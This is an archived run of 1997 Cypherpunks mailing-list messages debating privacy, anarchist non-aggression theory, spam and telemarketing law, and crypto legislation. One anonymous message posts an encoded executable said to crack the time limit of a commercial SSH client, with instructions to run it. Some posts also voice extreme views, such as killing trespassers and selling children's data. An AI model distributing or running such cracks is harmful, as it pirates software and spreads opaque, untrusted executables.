extra cash/assets may make him ineligible for a court-appointed attorney -
but if the cash/assets aren't available to him because they're being held
by some unconnected cypherpunk, it'd be much harder/impossible to deny him
appointed counsel.) Also, given Jim's tax status, it's possible that the
IRS will try to seize/levy against any funds that come into Jim's control,
which would turn the "defense fund" into the "pay Jim's taxes fund". 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 2 Jun 1997 08:19:45 +0800
To: cypherpunks@algebra.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <199706010352.UAA26328@fat.doobie.com>
Message-ID: <Pine.LNX.3.91.970601124448.809C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Sure it is unpleasant to have your privacy violated, but it is your own
> > choice whether you allow information to become available or not.
> 
>   Theoretical bullshit. 

Theoretical truth.

>   Your choice is to not work, not go on welfare, not drive, not get a
> telephone, not be born in a hospital...ad infinitum.

Yes, however, this ignores the fact that in a less restrictive society 
not so many of these actions would involve releasing personal 
information, also, in a police state such as we see today, it is, in many 
cases, mandatory to provide *TRUE* details on request by certain people. 
Of course the right to free speech implies the right to lie, and further 
by providing false details I take no act of agression against anyone, 
therefore, in an anarchist or NAP derived minarchist system it would not 
be a crime to give false details.

>   Even then, when you are arrested for trespassing on private land or
> misuse of public land for those grubs and worms you ate, the government
> will take your fingerprints and attach an identity to them. When you
> return to your cave, the postman will be waiting at the entrance to
> deliver the "Worms R Us" snailmail spam.

Then change that identity, or have a false one attached to those prints.

I am not talking about privacy under a totalitarian state, I am talking 
about privacy in an anarchy, or possibly a minarchist state.

> >  All true law within anarchist, and indeed much minarchist belief derives 
> > from the non agression principle, by making use of freely available 
> > information about you I do not initiate violence against you, therefore I 
> > am guilty of no crime.
> 
>   Everyone seems to neglect recognizing that most of the proclaimed
> "freely available information" is the result of coercion of one kind
> or another.
>   "If you want a driver's license so that you can earn a decent
> living, then you must give us your social security number so that
> we can make sure that you get your fair share of junk mail and 
> spam. If you drive without a license, men with guns will lock you
> in a cage."

Currently yes, in an anarchist system the road system would be 
privatised, it would be the job of the owners of each part of the system 
to decide whether they wanted to require licences or not, if they asked 
for personal information before granting a licence, and you did not want 
to give it, lie... If you don`t like having to do this, build your own 
roads. Anarchist societies are not utopian societies, freedom doesn`t 
come cheap, and under any free system life is a lot harder.  

If one large corporate entity were to own the entire road system, and 
were to run it as it is currently run, as you describe above, then you 
would have a choice, build your own roads, buy the current ones, drive, 
or don`t drive. Sure it is a choice between a small red hot poker up the 
ass and a large one, but that`s just the way it is. The right to live in 
a free society does not imply the right to live happily. 

>   Try dumping your garbage on other people's doorstep and telling
> them that you haven't initiated violence against them and are thus
> guilty of no crime. Sell "freely available" information about other
> people's children to convicted child molesters and then explain the
> same thing to the parents.

The first is of course an act of trespass, the second, although an 
unpleasant act is no crime, we must be careful about calling the right to 
absolute freedom of speech "theoretical", this is a dangerous step indeed.

If the parents don`t like this they can get a clue and defend their 
children from the real threat: the child molester. Treating speech in 
this way, ie. saying that it is wrong (a violation of the NAP) to tell 
the convicted child molester the information about the children, is a 
form of material determinism.

>   Why don't the people who send out spam go out ringing people's
> doorbells at 4 a.m. to tell them how to "Make Big $$$"?  It is
> because they would be held personally accountable for the effect
> their actions have on the lives of others. They can explain until
> they are blue in the face about their right to be an asshole who
> is intruding in my life but they are unlikely to convince me to
> put up with it without acting in a manner they find offensive.

No, their ringing of my doorbell at 4am would be an act of trespass, if 
they trespassed on my land and upset me they can expect me to react in 
kind. 

Telephoning me at 4am is a different matter, as it is not an act of 
trespass, therefore, we use technological means to combat such 
anti-social behaviour.

>   I enjoy many of the posts on anarchy by Paul and others but I
> think most of the concepts are valuable mainly as personal standards
> one applies to their own life.
>   You can explain to the guy who slashes your tires that you had
> a right to ring his doorbell at 4 a.m. to try to sell him your
> product but he had no right to slash your tires. You will be right,
> but so what?

I too enjoy your posts, but I must stick to my own position, I am maybe 
guilty of being excessively idealistic, but I believe this is the only 
way to have a strong and morally right set of laws.

<theory>
The guy that rings my doorbell at 4am trespasses onto my land to ring 
that doorbell, he makes use of my doorbell, he uses my electricity, and 
stands on my front doorstep.
</theory>

Practically speaking though, I would not mind any of this if he were to 
do it at a sociable hour, is there such a thing as an enforcable social 
contract that says salesmen may only ring doorbells at sociable hours? 
(whatever they are).
 
I don`t believe there is any such thing as an implicit contract in this 
sense, the next bit is important though: EVEN IF the salesman arrives at 
a sociable hour and rings my doorbell, he has STILL commited an act of 
trespass against me, it is simply the case that because he has had the 
courtesy to arrive at a reasonable time I have chosen to take no 
defensive action. What if he arrives at a reasonable time, and acts 
courteously towards me, and I shoot him dead on the spot? It`s certainly 
an extreme action, and this is what makes a lot of people react in horror 
when they fully understand the NAP, but I don`t believe it would be wrong 
per se. Certainly I would regard anyone reacting as such as a loon, but 
the salesman CHOSE to commit the act of trespass, he certainly wouldn`t 
have imagined I might kill him for it, but he was not forced to take that 
act.


>   If Tim McVeigh beats the rap and returns to society, I'm going to
> buy him a computer and an email account and then give the address
> to CyberPromo. I am sure he will understand the issues of anarchy
> and free enterprise involved, and act in accordance with the
> dictates of his own conscience.	

Any action against cyberpromo is an act of agression, but I won`t get 
into a flame war with anyone over this, least of all you TM/CJP, as I 
believe we are essentially of the same persuation, and I wouldn`t like to 
see an unproductive and unpleasant pissing contest over it.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 2 Jun 1997 03:31:13 +0800
To: kent@songbird.com (Kent Crispin)
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <19970601114728.28561@bywater.songbird.com>
Message-ID: <199706011918.OAA10829@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Kent Crispin wrote:
> 
> On Sat, May 31, 1997 at 04:20:55PM -0500, Dr.Dimitri Vulis KOTM wrote:
> > This law is unenforceable.  If you want to rent porn videos and you have
> > some brains (the two may be mutually exclusive...) you'd pay cash and
> > make the transaction totally anonymous.
> > 
> > Should there also be a law against grocers keeping track of who's buying what?
> 
> Brain fade, Dimitri.  Anybody who allowed anonymous rental of videos
> would be out of business shortly as their stock would never be
> returned.

Kent, the rental shops may ask for a collateral that is returned when
the renter brings the videos back.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Sun, 1 Jun 1997 23:15:30 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <19970601142025.3960.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


http://www.datafellows.com/gallery/

F-Secure SSH 1.0 Windows Client


pc_ssh.com - removes time-limit. Copy into SSH-directory and execute.

pc_ssh.com in ASCII:


-----BEGIN PGP MESSAGE-----
Version: 2.6.2

owFbczSJqyA5vrg4Qy85P5cBCPYlML6wZ9hiu4FpVwjjWcUihcUxjFucNjB0y8Uw
7joTsJOB4aziFoedTAy74oDSr7kn7OtlfMHHsMXnrOK+5YwvWMCsLhG3hl8MJWxb
mIBKPh0ODvbQc41wBZr+uvSfgptucGpyaVGqAlBYocxQz0DBuSgxOVtBV1ehKrMo
OT9PQV+hINnSnJeL4Z+Ca1FRfpGCf0FqXmZeugLUILCMc35uQU5qSaoikAcA
=KINJ
-----END PGP MESSAGE-----


WarezMonger








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 2 Jun 1997 04:20:46 +0800
To: ichudov@algebra.com (Igor Chudov @ home)
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <199706011918.OAA10829@manifold.algebra.com>
Message-ID: <199706012003.PAA03975@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199706011918.OAA10829@manifold.algebra.com>, on 06/01/97 
   at 02:18 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Kent Crispin wrote:
>> 
>> On Sat, May 31, 1997 at 04:20:55PM -0500, Dr.Dimitri Vulis KOTM wrote:
>> > This law is unenforceable.  If you want to rent porn videos and you have
>> > some brains (the two may be mutually exclusive...) you'd pay cash and
>> > make the transaction totally anonymous.
>> > 
>> > Should there also be a law against grocers keeping track of who's buying what?
>> 
>> Brain fade, Dimitri.  Anybody who allowed anonymous rental of videos
>> would be out of business shortly as their stock would never be
>> returned.

>Kent, the rental shops may ask for a collateral that is returned when the
>renter brings the videos back.

Have pitty on poor Kent Igor,

After lifelong support of Socialism and worship of the STATE has left him
incapable of rational thought on such matters.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCUAwUBM5HWRY9Co1n+aLhhAQGGYwP3YwjkVfg3p7T2IwmFVMZnGOuIqOjufG3Q
JoMpzpcD+YgUKDtoAIWul1/sKoPDN1SbCXPcvzsWXCdVSDwCkSs8IR1Eb31iuD5h
h+E9AoJXavQvfNHzeE01AGn0wgMUe1GeIOrnCJOOdQzMfM3yfTRVFLIVNUZ5mspD
uOcPgCguJA==
=kmdJ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Pomes <ppomes@Qualcomm.com>
Date: Mon, 2 Jun 1997 07:22:01 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <199705311944.OAA23276@mailhub.amaranth.com>
Message-ID: <2372.865205390@zelkova.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:

|It's an intresting side note that the reason why the Cell Phones in this
|country do not use strong crypto is because of the intervention of the FCC
|and associated Federal LEA's.

Not that it would have mattered except to scanner owners with too much time
on their hands.  The LEAs can intercept at the cellular base station where
the air segment traffic is decrypted.  This is true for GSM, TDMA, and
CDMA.  True security requires end-to-end encryption.  While slightly
possible for mobile-to-mobile calls where each phone has the encryption
engine, it all breaks down if the base station doesn't preserve a digital
pathway all the way through.  Most base stations do tandem vocoding for
mobile-to-mobile connections as it's the easiest engineering solution.

For mobile-to-landline, the landline options are decidely minimal.  If you
go with STU-III you have the problem of a fixed-rate 4800 baud modulation
sucking up bandwidth.  That could be put in the base station but then the
path is no longer end-to-end.

/pbp





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 2 Jun 1997 05:17:44 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <19970601114728.28561@bywater.songbird.com>
Message-ID: <8y1m8D13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin <kent@songbird.com> writes:

> On Sat, May 31, 1997 at 04:20:55PM -0500, Dr.Dimitri Vulis KOTM wrote:
> > This law is unenforceable.  If you want to rent porn videos and you have
> > some brains (the two may be mutually exclusive...) you'd pay cash and
> > make the transaction totally anonymous.
> >
> > Should there also be a law against grocers keeping track of who's buying wh
>
> Brain fade, Dimitri.  Anybody who allowed anonymous rental of videos
> would be out of business shortly as their stock would never be
> returned.

Kent, you're a lying asshole.

It's been a while since I rented any videos (got better uses for my time),
but one used to be able to plonk down $50 cash, rent a video, bring it back
w/ bearer receipt, and get one's $50 back (minus the $1-2 for the rental)

If someone decides keep the used video, the cash deposit more than
covers the replacement.

I believe this mode of operation is still very common in NYC, where lots of
folks don't have credit cards, don't have permanent addresses, or don't
want their viewing habits known.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 2 Jun 1997 08:17:27 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102808afb696432bfa@[207.167.93.63]>
Message-ID: <v03102800afb7ba21be7b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:03 PM -0700 6/1/97, Robert A. Costner wrote:

>Why does the store need my social security number for me to purchase soft
>drinks and eggs?  (40 cents off on eggs this week)  I see no reason for it.
>If I provide a false number, I have probably committed some crime.

Why does the store "need" to sell Yahoo but not RC Cola? Why does the store
"need" to place the eggs back in the dairy department instead of in the
bacon and sausage department? Why does the store "need" to do the things it
does?

Because the store is owned by its owners, not the shoppers, not the courts,
and not the legislatures.

What it does, or what it asks for, are its business, and the business of
its shareholders, managers, etc. Pressure from the customers may of course
cause policy changes, but this should not be confused with the passage of
laws.

As should be well known by now, such "consumer clubs" are modern marketing
gimmicks to a) encourage repeat business, and b) provide a discount to
locals without also providing a discount to "walk-ins" (travellers,
tourists, etc.).

I have no idea why they want a SS number, except perhaps that they see
every government office demanding it and so they think it is part of the ID
process. I of course would not give it. One is always free to turn down
their offer of a 40 cent discount on eggs. Sounds fair to me.

>Yes, I would support a law that forbids private companies to ask for social
>security numbers except for tax purposes.

To put it as politely as I can manage, you have no conception of what it
means to live in a free, uncoerced society.

No wonder the EFF is so fucked up.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Mon, 2 Jun 1997 05:58:02 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <3.0.2.32.19970531101055.00789c88@keystone.intergate.net>
Message-ID: <3.0.2.32.19970601174739.033dda20@keystone.intergate.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Myself, and EFGA supports no anti-spam law at this time, nor have we suggested 
the world needs one.  Over the last year we have repeatedly said that existing 
laws may prove to be sufficent.  What is clear is that there has been little 
attempt at using today's laws against spam and failing.  If EFGA has a 
position, it is that first the current laws should be tested against spam.  No 
new laws should be proposed until today's laws can be shown to be useless 
against the problem.

To the contrary, Cyberpromotions has been to court five times, and has lost 
five times.  These are not internet issues as much as they are fraud, consumer 
protection, and commerce issues.  Education of applicability of existing laws 
may be more effective than new laws.

New laws are being proposed.  And I feel comfortable commenting on the faults 
of a law, or of it's languge.  I can suggest what is wrong with a law, or what 
it lacks without supporting a flawed bill.

  DATA GATHERING

The original issue is one of data collection.  For many, this is the opt-in, 
opt-out argument.  For others it is adherence to a convention such as the 
robots.txt file found on web pages.  While there is nothing wrong with data 
harvesting in it's self, what one does with the info may be called into 
question.

The currently proposed bills look at various areas.

  1.  Identification
  2.  Content
  3.  Data Collection procedures
  4.  Tonnage/automated processing

Data Collection procedures may be less restrictive than identification 
requirements, or content bans.

There is a law precedent in the Telephone Consumer Protection Act (TCPA) of 
1991 to handle each of these issues.  For data collection, the TCPA requires a 
removal database be maintained and an opt-out strategy be employed.  One of 
the largest problems with "spam" is that the data collection strategies 
employed today are deceptive, fraudulent, and do not come close to fitting the 
model carefully considered in the TCPA.

The reason the TCPA is carefully considered is that once the law allowed for 
the promulgation of rules, the FCC had a series of public comment periods and 
promoted rules that highly favored privacy while trying to balance the fair 
practices of telemarketers.  Unfortunately, with spam, most spammers do not 
have "fair practices".

If is highly likely that the spam question could be quickly addressed and more 
clearly defined without new laws simply by a comment period and the 
promulgation of new rules.

Additional comments after Tim's quote....

At 09:28 AM 5/31/97 -0700, Tim May wrote:
>If it is "ILLEGAL" (your emphasis) for someone to call me on the phone for
>spamming, why then do I get so many such calls? Why aren't the prisons full?
>
>(Answer: Because it is NOT illegal for people to call me, or for me to call
>others, or for me to even call thousands of others. True, it is possible
>for me (I disagree with these laws, though, and cite the First again) for
>me to _ask_ that they not call me. Maybe even jump through hoops and get an
>injunction. )
>
>There are laws on the books which prohibit fully automated calls with no
>humans in the loop, but these are easily bypassed. (E.g., the boiler-room
>minimum wage employees in Detroit and Chicago who pick up the phone several
>seconds after I have picked up and then start a barely understandable
>spiel...I've prettty much taken to hanging up if no human voice appears
>within the first couple of seconds, as I know I am being handed off to the
>next available "human.")

Well, prisons *are* full.  Many of the inmates are telemarketers.  But this is 
not because of telemarketing laws.  You are confusing "illegal" with 
"criminal".  The laws we refer to are civil law, not criminal law.  47 USC 227 
is a federal civil law.  It also allows for state Attorney Generals to file 
civil suits on behalf of it's citizens.  This, if not taken to extreme, is a 
proper function of gov't.  To protect citizens from that which they cannot 
protect themselves.

Why do you get such calls?  The existing laws not only apply to fully 
automatic calls, but predictive dialing systems such as you mention and pure 
manual voice calls.  I cannot answer why you get the calls.  Perhaps you have 
not requested to be in the national "don't call me database".  Perhaps your 
callers just use illegal data collection procedures.  I'll summarize some of 
the law to you.  The Telephone Consumer Protection Act (TCPA) of 1991 made 
effective December 1992 the following:

1.  Calls only allowed 8am to 9pm
2.  Lists must be maintained of "do not want to be called"
3.  Telemarketers must identify themselves - address & phone number
4.  Employees must know rules & know how to use remove list.

Additional info can be found at 
http://www.fcc.gov/Bureaus/Common_Carrier/Orders/1995/fcc95310.txt

Quote from the Act:  
    Because unrestricted telemarketing can be an invasion of 
    consumer privacy, and even a risk to public safety, Congress
    found that a federal law is necessary to control 
    telemarketing practices.

SPAM vs TELEMARKETING

A telemarketing operation has a high level of entry.  Not that high, but phone 
lines, desks, office space, employees. etc must all be provisioned and paid 
for.  The level of entry for being a spammer is much, much lower.  For some it 
may be a dedicated connection, but millions of spams can still be sent with a 
dial-up account.  Accordingly, EFGA sees that the number of spammers could 
grow to be far more than the number of telemarketers.  Easily a figure could 
be reached that ten times more spammers could start a business than the number 
of telemarketers.

In 1990, more than 30,000 telemarketing operations employed over 18 million 
Americans.  Easily we could see over 300K spam operators in business, 
employing less than one million people.  Each of these individual spammers 
could be sending out daily spams.  Many of them would be able to reach a 
significant portion of the internet users on a daily basis.

At 09:28 AM 5/31/97 -0700, Tim May wrote:
>Your point being?
>
>Any laws forbidding spam generation in the U.S. will simply (or already)
>move the spam-originating sites offshore. Then what happens?

As long as the companies who are advertising have US offices, the offshore 
factor will not matter.  Existing fax precedent makes the advertiser the one 
ultimately responsible for the ad.


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  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger.tm@dev.null
Date: Mon, 2 Jun 1997 08:20:39 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
Message-ID: <199706012354.RAA19136@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Robert A. Costner wrote:
>  If EFGA has a
> position, it is that first the current laws should be tested against spam.  No
> new laws should be proposed until today's laws can be shown to be useless
> against the problem.

  Regardless, you are already preparing to participate in the
process of new laws being implemented.

>   DATA GATHERING
>  While there is nothing wrong with data
> harvesting in it's self, what one does with the info may be called into
> question.

  The data is going to be misused. Future legislation will be 
nothing more than a fight over who gets to misuse it.

> Data Collection procedures may be less restrictive than identification
> requirements, or content bans.
> The reason the TCPA is carefully considered is that once the law allowed for
> the promulgation of rules, the FCC had a series of public comment periods and
> promoted rules that highly favored privacy while trying to balance the fair
> practices of telemarketers.  Unfortunately, with spam, most spammers do not
> have "fair practices".

  This can be translated to mean that the little guys can do the
same thing that large companies do, only without having to hire
high-priced legal help to tell them how to route around the "rules."

> If is highly likely that the spam question could be quickly addressed and more
> clearly defined without new laws simply by a comment period and the
> promulgation of new rules.

  No new laws, just new rules. Doublespeak?
 

> SPAM vs TELEMARKETING
> In 1990, more than 30,000 telemarketing operations employed over 18 million
> Americans.  Easily we could see over 300K spam operators in business,
> employing less than one million people.  Each of these individual spammers
> could be sending out daily spams.  Many of them would be able to reach a
> significant portion of the internet users on a daily basis.

  Right. I'm going to receive 300,000 spams a day without taking 
steps to stop it, because I'm stupid. And nobody in the free market
is going to figure out that they can make a shitload of money by
providing a product that solves the problem. And enough people are
going to sort through 300,000 emails a day and send people money
to keep all the spammers operating.
  Since we're all so stupid and incompetent, I guess we'd better 
count on the government and the EFGA-type organizations to do
what is necessary to "save" us.

  Robert's immediate solution is to take a law that doesn't work
and promulgate "new rules" so that it does.
  Right. The "new rules" are going to be decided on by the same
lame bunch of actors who made the "old rules" which don't work.
And all of those people who aren't paying attention to the old
rules are going to have a vision from heaven which tells them
to follow the new rules.

  Question: "With all of the organizations 'busting their ass'
for our benefit, when do we start seeing the *good* legislation?"

  I can use strong crypto to keep my communications private and
I can maintain control over my private key. The government wants
to pass legislation to change that. What's to debate?
  I need groups of self-appointed saviors to negotiate the method
and timing of how my privacy and freedom are going to be taken
away? I don't think so!
  These "saviors" of our rights are doing nothing more than serving
as a buffer for the government as what we already have is being
stolen from us. They have taken it upon themselves to negotiate
our retreat in the face of loss of our privacy and freedom. They
are providing the government with a stamp of approval for "reasonable
compromise" of our freedom and privacy via "acceptable legislation."

  If these organizations are so concerned about my rights, then why
do I never see the words "Nazi Ratfuckers!" in their press releases?
  No more free buffets? No more power lunches with the power mongers?
No more nights in the Lincoln bedroom?
  (OK. I'll calm down and be "reasonable." How about the word,
"Bullshit!" I've read the government press releases, I've heard the
speeches. It's bullshit, but all I hear coming out of the mouths of
the "saviors" of my rights is replies in kind--politispeak.)

  I keep hearing how these organizations that haven't kept us from
getting fucked in the past are working for the future, when one of
our own is in jail *now*.
  Want to impress me? Do something for Jim Bell, because tomorrow
it's Tim May, and Adam Back a week later (they got Noriega, and 
they can get Adam, too.)
  You don't have time to aide Jim Bell, but you have time to give
me dire warnings about getting 300,000 emails a day? You have time
to tell me that the "solution" is to have the people who wrote 
rules that don't work write *new* rules?
  Horseshit!

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Mon, 2 Jun 1997 06:37:59 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007800afb68a25627d@[205.177.146.237]>
Message-ID: <3.0.2.32.19970601180348.03461abc@keystone.intergate.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:27 PM 5/31/97 -0700, Tim May wrote, concerning Marc Rotenberg:
>What we are talking about here is whether there's a need for new laws to,
>using your specific example, stop companies from asking for personal
>information.

A new grocery store opened down the street from me.  They have lots of special 
prices, but only available to "club members".  Club cards are free, but you 
have to fill out a form.  The form asks for:

1.  Name
2.  Address
3.  Phone Number
4.  Spouse name
5.  Social Security number

In exchange for giving this information, the store will give me a 35 cent 
discount on each package of soft drinks I purchase.  This is not a check 
cashing card, that is a separate form.  This is a cash transaction.

Why does the store need my social security number for me to purchase soft 
drinks and eggs?  (40 cents off on eggs this week)  I see no reason for it.  
If I provide a false number, I have probably committed some crime.

Yes, I would support a law that forbids private companies to ask for social 
security numbers except for tax purposes.


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

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Z/3JIAjrDVKJuZv54e0pbLRdNtU5RtnmZZwHQCcdxQW2YxNuxgOVIg==
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-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 2 Jun 1997 09:22:23 +0800
To: cypherpunks@algebra.com
Subject: Creating a unique ID number for a dollar
In-Reply-To: <v03102800afb7ba21be7b@[207.167.93.63]>
Message-ID: <v03102801afb7cce12642@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:25 PM -0700 6/1/97, William H. Geiger III wrote:

>IMHO the request for SS numbers are usally done out of convieniance more
>than anything else. This is not to justify it just an explanation why so
>many palces request SS numbers.
>
>Anyone that has written database software where unique information is
>stored on individules a SS number is quite convienat as everyone has a
>unique one. Most employee, payroll, medical, insurance, credit, databases
>use SS numbers rather than create individule id #'s. One's SS number has 2
>unique qualities that make it perfect for this use: 1 every person has a
>unique #, and 2 it never changes. This can not be said for any other
>identifiers one may use, names, addresses, DL #'s, ...ect all have the
>possiablity to change over time while your SS # is forever. By using SS #
>as id #'s makes communication of data between diffrent database all that
>much simpler. From personal experiance I can testify that the entier
...

This reminds me of a hack I heard about some years back.

There's a way to generate a number for any person which is unique. It is
not shared by anyone else on the planet.

Best of all, this number can be generated without use of a computer,
without entry of any allegedly random numbers, and without any hashing of
personal data. It's not necessarily a real short number, certainly not as
short as an SS number.

And best of all, the cost is low. Just a dollar, in fact.

I'll explain later.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 2 Jun 1997 10:18:07 +0800
To: Robert Hettinga <cypherpunks@algebra.com
Subject: Re: e$: Beltway piglets and other barnyard animals
In-Reply-To: <v03007800afb6766f6f7f@[204.179.142.132]>
Message-ID: <v03102802afb7ceba955c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:01 PM -0700 6/1/97, Robert Hettinga wrote:
>At 9:05 pm -0400 on 5/31/97, Marc Rotenberg wrote:
>
>> Keep me posted. If legislation is threatening a good technical
>> solution, I'll be the first to blow the whistle.
>
>Bunk.

If you want Marc R. to read your message, you really should cc: him on it.
I don't think he's subscribed to the Cypherpunks list (though I could be
wrong). I am adding him back on as a cc: to this message (I would've cc:ed
him on my original "Rotenberg as the Uber Enemy" message a few days ago,
had I known he would join in the discussion later).

>The actual contribution of Mr. Rotenberg and his organization to the cause
>of freedom on the net, in this country, and around the world, can be found
>precisely in a competant analysis of above bit of semantic nonsense. That
>is, it is nil, if not negative.

Actually, I plan to take Marc at his word if such a situation comes up and
EPIC is still involved in such lobbying.

For starters, the "all e-mail must have a valid return address" legislation
already being proposed (I know of bills by Barbara Murkowski of Alaska, and
Denny Smith of Oregon; there may be others) is not only "anti-liberty," in
the libertarian sense, and in the Supreme Court sense (McIntyre), it is
also a *disincentive* to various digital technologies. It would put
remailers in the U.S. out of business (we think, though it depends on the
precise language of what a "return address" really means...employment for
entire floors of lawyers at the Internet Regulatory Commission, no doubt).

Likewise, EPIC can and should announce that it will not support SAFE if any
form of criminalization language remains.

We would not find it acceptable to have a law which encouraged the
placement of microphones and cameras in private homes, "voluntarily," but
which then said "Anyone who does not participate in the Voluntary Safe
Surveillance Program and who is found to have committed a crime furthered
by the failure to volunteer shall be subjected to additional imprisonment
of at least 5 years."

This is what the criminalization of crypto is all about. It is not, as is
so often suggested, analogous to "use of a gun" in a crime, nor to "use of
the public mails." It is much closer to the examples I cite, language and
religion, than to use of a publicly-regulated monopoly like the telephones
or the mail. The gun situation is presumably related to the threat of
bodily harm...I'm not saying I agree with "use a gun, go to prison"
sentencing enhancements, but a stronger case can be made than for "use a
cipher, go to prison.

So, Marc can immediately prove the honesty of his point by:

a. denouncing any "return address" requirements and refusing to cooperate
with any Congressthing who espouses such wrong-headed ideas

b. denounce SAFE if it has any hint whatsoever of criminalization of crypto

(Or of any of the (apparent) language about technical review panels
deciding on exports...this is, to many of us, a code phrase indicating that
SAFE will by no means make export of arbitrarily unbreakable ciphers an
automatic process.)

As I've said in other essays on SAFE, all that is needed to accomplish the
goals of SAFE--the PR goals of SAFE, not the current language!--is this
statement:

"Computer software shall have the same status as any other written
material: it shall not be subject to any laws regarding possession, sale,
or export."

Come to think of it, the First Amendment already states that Congress shall
make no law. As for exports, the First has been applied to show that
Congress cannot decide which books, magazines, movies, etc., may be
exported. (And the Bernstein and Junger cases may soon consolidate the
status of this interpretation for software.)

So what do we even need SAFE for? Why give them any hooks, any "use of
crypto in furtherance of a crime" language?


>
>Given his past outrageous failures, and his persistant attempts to waste
>whatever reputation he now has left, remarks like the above finally prove
>the trust people had for him and the organizations he has run was
>completely misplaced. A reputation, I might add, literally *donated* to him
>by thousands of people and companies, who all believed in and trusted him
>*personally* to keep the Uncle Sam the Inquisitor out of their lives on the
